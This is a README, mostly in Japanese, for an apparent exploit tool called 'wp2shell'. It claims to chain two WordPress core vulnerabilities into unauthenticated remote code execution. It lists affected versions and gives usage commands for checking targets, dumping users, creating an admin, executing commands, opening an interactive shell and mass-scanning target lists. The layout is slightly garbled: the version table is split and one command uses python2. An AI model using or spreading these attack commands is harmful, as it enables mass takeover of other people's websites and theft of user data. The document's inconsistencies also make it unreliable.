
wp2shell - WordPress の RCE & PoC (CVE-2026-63030 + CVE-2026-60137)
WordPress コアにおける未認証のリモートコード実行
作者: JohenLastGen
このツールは、2 つの重大な WordPress 脆弱性を連鎖させて未認証の RCE を実現します。
| 脆弱性 | CVE | 説明 |
|---|---|---|
| REST Batch Route Confusion | CVE-2026-63030 | 検証をバイパスし、SQLi ペイロードを混入させます |
| WP_Query author__not_in SQLi | CVE-2026-60137 | 生の文字列インジェクション → SQL 実行 |
影響: 未認証の攻撃者 → 管理者を作成 → コマンドを実行
| バージョン範囲 | ステータス |
|---|---|
| WordPress 6.9.0 - 6.9.4 | ✅ 脆弱 (完全な RCE チェーン) |
| WordPress 7.0.0 - 7.0.1 | ✅ (完全な RCE チェーン) |
#options:
-h, --help show this help message and exit
python3 wp2shell.py --help
# 1. Check if target is vulnerable
python3 wp2shell.py check https://target.com
# 2. Extract data (fingerprint/users)
python3 wp2shell.py read https://target.com --preset fingerprint
python2 wp2shell.py read https://target.com --preset users
# 3. RCE - Create admin & execute command (NO CREDENTIALS NEEDED!)
python3 wp2shell.py shell https://target.com --cmd "id"
# 4. Interactive shell
python3 wp2shell.py shell https://target.com --interactive
# 5. Mass scan multiple targets
python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json
| WordPress 6.8.0 - 6.8.5 | ⚠️ SQLi のみ (支援プラグインが必要) |
| WordPress 6.9.5, 7.0.2+ | ❌ パッチ済み |